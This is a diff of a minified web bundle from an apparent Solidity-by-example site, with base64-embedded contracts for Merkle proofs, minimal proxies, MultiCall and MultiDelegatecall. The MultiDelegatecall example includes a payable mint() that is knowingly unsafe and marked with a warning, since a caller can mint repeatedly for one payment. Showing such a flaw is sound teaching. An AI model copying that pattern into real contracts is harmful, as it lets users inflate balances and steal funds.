HByb29mRWxlbWVudCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgaGFzaCA9IGtlY2NhazI1NihhYmkuZW5jb2RlUGFja2VkKHByb29mRWxlbWVudCwgaGFzaCkpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpbmRleCA9IGluZGV4IC8gMjsKICAgICAgICB9CgogICAgICAgIHJldHVybiBoYXNoID09IHJvb3Q7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RNZXJrbGVQcm9vZiBpcyBNZXJrbGVQcm9vZiB7CiAgICBieXRlczMyW10gcHVibGljIGhhc2hlczsKCiAgICBjb25zdHJ1Y3RvcigpIHsKICAgICAgICBzdHJpbmdbNF0gbWVtb3J5IHRyYW5zYWN0aW9ucyA9CiAgICAgICAgICAgIFsiYWxpY2UgLT4gYm9iIiwgImJvYiAtPiBkYXZlIiwgImNhcm9sIC0+IGFsaWNlIiwgImRhdmUgLT4gYm9iIl07CgogICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IHRyYW5zYWN0aW9ucy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICBoYXNoZXMucHVzaChrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZCh0cmFuc2FjdGlvbnNbaV0pKSk7CiAgICAgICAgfQoKICAgICAgICB1aW50MjU2IG4gPSB0cmFuc2FjdGlvbnMubGVuZ3RoOwogICAgICAgIHVpbnQyNTYgb2Zmc2V0ID0gMDsKCiAgICAgICAgd2hpbGUgKG4gPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpID0gMDsgaSA8IG4gLSAxOyBpICs9IDIpIHsKICAgICAgICAgICAgICAgIGhhc2hlcy5wdXNoKAogICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhhc2hlc1tvZmZzZXQgKyBpXSwgaGFzaGVzW29mZnNldCArIGkgKyAxXQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvZmZzZXQgKz0gbjsKICAgICAgICAgICAgbiA9IG4gLyAyOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBnZXRSb290KCkgcHVibGljIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBoYXNoZXNbaGFzaGVzLmxlbmd0aCAtIDFdOwogICAgfQoKICAgIC8qIHZlcmlmeQogICAgM3JkIGxlYWYKICAgIDB4ZGNhMzMyNmFkN2U4MTIxYmY5Y2Y5YzEyMzMzZTZiMjI3MWFiZTgyM2VjOWVkZmU0MmY4MTNiMWU3NjhmYTU3YgoKICAgIHJvb3QKICAgIDB4Y2MwODZmY2MwMzgxODliNDY0MWRiMmNjNGYxZGUzYmIxMzJhZWZiZDY1ZDUxMGQ4MTc1OTE1NTA5Mzc4MThjNwoKICAgIGluZGV4CiAgICAyCgogICAgcHJvb2YKICAgIDB4OGRhOWUxYzgyMGY5ZGJkMTU4OWZkNjU4NTg3MmJjMTA2MzU4ODYyNTcyOWU3YWIwNzk3Y2ZjNjNhMDBiZDk1MAogICAgMHg5OTU3ODhmZmMxMDNiOTg3YWQ1MGY1ZTU3MDdmZDA5NDQxOWViMTJkOTU1MmNjNDIzYmQwY2Q4NmEzODYxNDMzCiAgICAqLwp9Cg=="}],Zu=`

            Merkle tree allows you to cryptographically prove that an element is contained

            in a set without revealing the entire set.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -2049,7 +2049,7 @@ How to swap tokens
     0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
     */
 }
-
            `,Zu=({prev:s,next:a})=>r.jsx(u,{version:Au,title:mu,description:bu,html:ku,prev:s,next:a,codes:wu}),Wu="0.8.24",Gu="Minimal Proxy Contract",Bu="Deploy contracts cheaply with minimal proxy contract",Vu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],fu=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            +`,Wu=({prev:s,next:a})=>r.jsx(u,{version:mu,title:bu,description:wu,html:Zu,prev:s,next:a,codes:ku}),Bu="0.8.24",Gu="Minimal Proxy Contract",Vu="Deploy contracts cheaply with minimal proxy contract",fu=[{fileName:"MinimalProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIG9yaWdpbmFsIGNvZGUKLy8gaHR0cHM6Ly9naXRodWIuY29tL29wdGlvbmFsaXR5L2Nsb25lLWZhY3RvcnkvYmxvYi9tYXN0ZXIvY29udHJhY3RzL0Nsb25lRmFjdG9yeS5zb2wKCmNvbnRyYWN0IE1pbmltYWxQcm94eSB7CiAgICBmdW5jdGlvbiBjbG9uZShhZGRyZXNzIHRhcmdldCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyByZXN1bHQpIHsKICAgICAgICAvLyBjb252ZXJ0IGFkZHJlc3MgdG8gMjAgYnl0ZXMKICAgICAgICBieXRlczIwIHRhcmdldEJ5dGVzID0gYnl0ZXMyMCh0YXJnZXQpOwoKICAgICAgICAvLyBhY3R1YWwgY29kZSAvLwogICAgICAgIC8vIDNkNjAyZDgwNjAwYTNkMzk4MWYzMzYzZDNkMzczZDNkM2QzNjNkNzNiZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIC8vIGNyZWF0aW9uIGNvZGUgLy8KICAgICAgICAvLyBjb3B5IHJ1bnRpbWUgY29kZSBpbnRvIG1lbW9yeSBhbmQgcmV0dXJuIGl0CiAgICAgICAgLy8gM2Q2MDJkODA2MDBhM2QzOTgxZjMKCiAgICAgICAgLy8gcnVudGltZSBjb2RlIC8vCiAgICAgICAgLy8gY29kZSB0byBkZWxlZ2F0ZWNhbGwgdG8gYWRkcmVzcwogICAgICAgIC8vIDM2M2QzZDM3M2QzZDNkMzYzZDczIGFkZHJlc3MgNWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzCgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgcmVhZHMgdGhlIDMyIGJ5dGVzIG9mIG1lbW9yeSBzdGFydGluZyBhdCBwb2ludGVyIHN0b3JlZCBpbiAweDQwCgogICAgICAgICAgICBJbiBzb2xpZGl0eSwgdGhlIDB4NDAgc2xvdCBpbiBtZW1vcnkgaXMgc3BlY2lhbDogaXQgY29udGFpbnMgdGhlICJmcmVlIG1lbW9yeSBwb2ludGVyIgogICAgICAgICAgICB3aGljaCBwb2ludHMgdG8gdGhlIGVuZCBvZiB0aGUgY3VycmVudGx5IGFsbG9jYXRlZCBtZW1vcnkuCiAgICAgICAgICAgICovCiAgICAgICAgICAgIGxldCBjbG9uZSA6PSBtbG9hZCgweDQwKQogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIgogICAgICAgICAgICBtc3RvcmUoCiAgICAgICAgICAgICAgICBjbG9uZSwKICAgICAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3MzAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgMHgzZDYwMmQ4MDYwMGEzZDM5ODFmMzM2M2QzZDM3M2QzZDNkMzYzZDczMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcG9pbnRlcgogICAgICAgICAgICAqLwogICAgICAgICAgICAvLyBzdG9yZSAzMiBieXRlcyB0byBtZW1vcnkgc3RhcnRpbmcgYXQgImNsb25lIiArIDIwIGJ5dGVzCiAgICAgICAgICAgIC8vIDB4MTQgPSAyMAogICAgICAgICAgICBtc3RvcmUoYWRkKGNsb25lLCAweDE0KSwgdGFyZ2V0Qnl0ZXMpCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBvaW50ZXIKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gc3RvcmUgMzIgYnl0ZXMgdG8gbWVtb3J5IHN0YXJ0aW5nIGF0ICJjbG9uZSIgKyA0MCBieXRlcwogICAgICAgICAgICAvLyAweDI4ID0gNDAKICAgICAgICAgICAgbXN0b3JlKAogICAgICAgICAgICAgICAgYWRkKGNsb25lLCAweDI4KSwKICAgICAgICAgICAgICAgIDB4NWFmNDNkODI4MDNlOTAzZDkxNjAyYjU3ZmQ1YmYzMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAogICAgICAgICAgICApCgogICAgICAgICAgICAvKgogICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAyMCBieXRlcyAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgIDIwIGJ5dGVzICAgICAgICAgICAgICB8ICAgICAgICAgICAxNSBieXRlcyAgICAgICAgICB8CiAgICAgICAgICAgIDB4M2Q2MDJkODA2MDBhM2QzOTgxZjMzNjNkM2QzNzNkM2QzZDM2M2Q3M2JlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmViZWJlYmU1YWY0M2Q4MjgwM2U5MDNkOTE2MDJiNTdmZDViZjMKICAgICAgICAgICAgKi8KICAgICAgICAgICAgLy8gY3JlYXRlIG5ldyBjb250cmFjdAogICAgICAgICAgICAvLyBzZW5kIDAgRXRoZXIKICAgICAgICAgICAgLy8gY29kZSBzdGFydHMgYXQgcG9pbnRlciBzdG9yZWQgaW4gImNsb25lIgogICAgICAgICAgICAvLyBjb2RlIHNpemUgMHgzNyAoNTUgYnl0ZXMpCiAgICAgICAgICAgIHJlc3VsdCA6PSBjcmVhdGUoMCwgY2xvbmUsIDB4MzcpCiAgICAgICAgfQogICAgfQp9Cg=="}],Yu=`

            If you have a contract that will be deployed multiple times, use minimal proxy contract to deploy them cheaply.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2121,7 +2121,7 @@ How to swap tokens
         }
     }
 }
-
            `,Yu=({prev:s,next:a})=>r.jsx(u,{version:Wu,title:Gu,description:Bu,html:fu,prev:s,next:a,codes:Vu}),Ru="0.8.24",Xu="Multi Call",vu="An example of contract to aggregate multiple calls.",Nu=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],Hu=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            +`,Ru=({prev:s,next:a})=>r.jsx(u,{version:Bu,title:Gu,description:Vu,html:Yu,prev:s,next:a,codes:fu}),Xu="0.8.24",vu="Multi Call",Nu="An example of contract to aggregate multiple calls.",Hu=[{fileName:"MultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpQ2FsbCB7CiAgICBmdW5jdGlvbiBtdWx0aUNhbGwoYWRkcmVzc1tdIGNhbGxkYXRhIHRhcmdldHMsIGJ5dGVzW10gY2FsbGRhdGEgZGF0YSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlc1tdIG1lbW9yeSkKICAgIHsKICAgICAgICByZXF1aXJlKHRhcmdldHMubGVuZ3RoID09IGRhdGEubGVuZ3RoLCAidGFyZ2V0IGxlbmd0aCAhPSBkYXRhIGxlbmd0aCIpOwoKICAgICAgICBieXRlc1tdIG1lbW9yeSByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IHRhcmdldHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJlc3VsdCkgPSB0YXJnZXRzW2ldLnN0YXRpY2NhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIHJlcXVpcmUoc3VjY2VzcywgImNhbGwgZmFpbGVkIik7CiAgICAgICAgICAgIHJlc3VsdHNbaV0gPSByZXN1bHQ7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gcmVzdWx0czsKICAgIH0KfQo="},{fileName:"TestMultiCall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRlc3RNdWx0aUNhbGwgewogICAgZnVuY3Rpb24gdGVzdCh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4gX2k7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RGF0YSh1aW50MjU2IF9pKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKHRoaXMudGVzdC5zZWxlY3RvciwgX2kpOwogICAgfQp9Cg=="}],Fu=`

            An example of contract that aggregates multiple queries using a for loop and staticcall.

            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -2157,7 +2157,7 @@ How to swap tokens
         return abi.encodeWithSelector(this.test.selector, _i);
     }
 }
-
            `,Fu=({prev:s,next:a})=>r.jsx(u,{version:Ru,title:Xu,description:vu,html:Hu,prev:s,next:a,codes:Nu}),Ku="0.8.24",Su="Multi Delegatecall",Mu="An example of contract to call multiple functions in a single transaction",xu=[{fileName:"MultiDelegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IE11bHRpRGVsZWdhdGVjYWxsIHsKICAgIGVycm9yIERlbGVnYXRlY2FsbEZhaWxlZCgpOwoKICAgIGZ1bmN0aW9uIG11bHRpRGVsZWdhdGVjYWxsKGJ5dGVzW10gbWVtb3J5IGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwYXlhYmxlCiAgICAgICAgcmV0dXJucyAoYnl0ZXNbXSBtZW1vcnkgcmVzdWx0cykKICAgIHsKICAgICAgICByZXN1bHRzID0gbmV3IGJ5dGVzW10oZGF0YS5sZW5ndGgpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IGRhdGEubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0gYWRkcmVzcyh0aGlzKS5kZWxlZ2F0ZWNhbGwoZGF0YVtpXSk7CiAgICAgICAgICAgIGlmICghb2spIHsKICAgICAgICAgICAgICAgIHJldmVydCBEZWxlZ2F0ZWNhbGxGYWlsZWQoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXN1bHRzW2ldID0gcmVzOwogICAgICAgIH0KICAgIH0KfQoKLy8gV2h5IHVzZSBtdWx0aSBkZWxlZ2F0ZWNhbGw/IFdoeSBub3QgbXVsdGkgY2FsbD8KLy8gYWxpY2UgLT4gbXVsdGkgY2FsbCAtLS0gY2FsbCAtLS0+IHRlc3QgKG1zZy5zZW5kZXIgPSBtdWx0aSBjYWxsKQovLyBhbGljZSAtPiB0ZXN0IC0tLSBkZWxlZ2F0ZWNhbGwgLS0tPiB0ZXN0IChtc2cuc2VuZGVyID0gYWxpY2UpCmNvbnRyYWN0IFRlc3RNdWx0aURlbGVnYXRlY2FsbCBpcyBNdWx0aURlbGVnYXRlY2FsbCB7CiAgICBldmVudCBMb2coYWRkcmVzcyBjYWxsZXIsIHN0cmluZyBmdW5jLCB1aW50MjU2IGkpOwoKICAgIGZ1bmN0aW9uIGZ1bmMxKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCB7CiAgICAgICAgLy8gbXNnLnNlbmRlciA9IGFsaWNlCiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgImZ1bmMxIiwgeCArIHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGZ1bmMyKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIC8vIG1zZy5zZW5kZXIgPSBhbGljZQogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJmdW5jMiIsIDIpOwogICAgICAgIHJldHVybiAxMTE7CiAgICB9CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgLy8gV0FSTklORzogdW5zYWZlIGNvZGUgd2hlbiB1c2VkIGluIGNvbWJpbmF0aW9uIHdpdGggbXVsdGktZGVsZWdhdGVjYWxsCiAgICAvLyB1c2VyIGNhbiBtaW50IG11bHRpcGxlIHRpbWVzIGZvciB0aGUgcHJpY2Ugb2YgbXNnLnZhbHVlCiAgICBmdW5jdGlvbiBtaW50KCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdICs9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgSGVscGVyIHsKICAgIGZ1bmN0aW9uIGdldEZ1bmMxRGF0YSh1aW50MjU2IHgsIHVpbnQyNTYgeSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2VsZWN0b3IoVGVzdE11bHRpRGVsZWdhdGVjYWxsLmZ1bmMxLnNlbGVjdG9yLCB4LCB5KTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRGdW5jMkRhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5mdW5jMi5zZWxlY3Rvcik7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TWludERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKFRlc3RNdWx0aURlbGVnYXRlY2FsbC5taW50LnNlbGVjdG9yKTsKICAgIH0KfQo="}],Ju=`

            An example of calling multiple functions with a single transaction, using delegatecall.

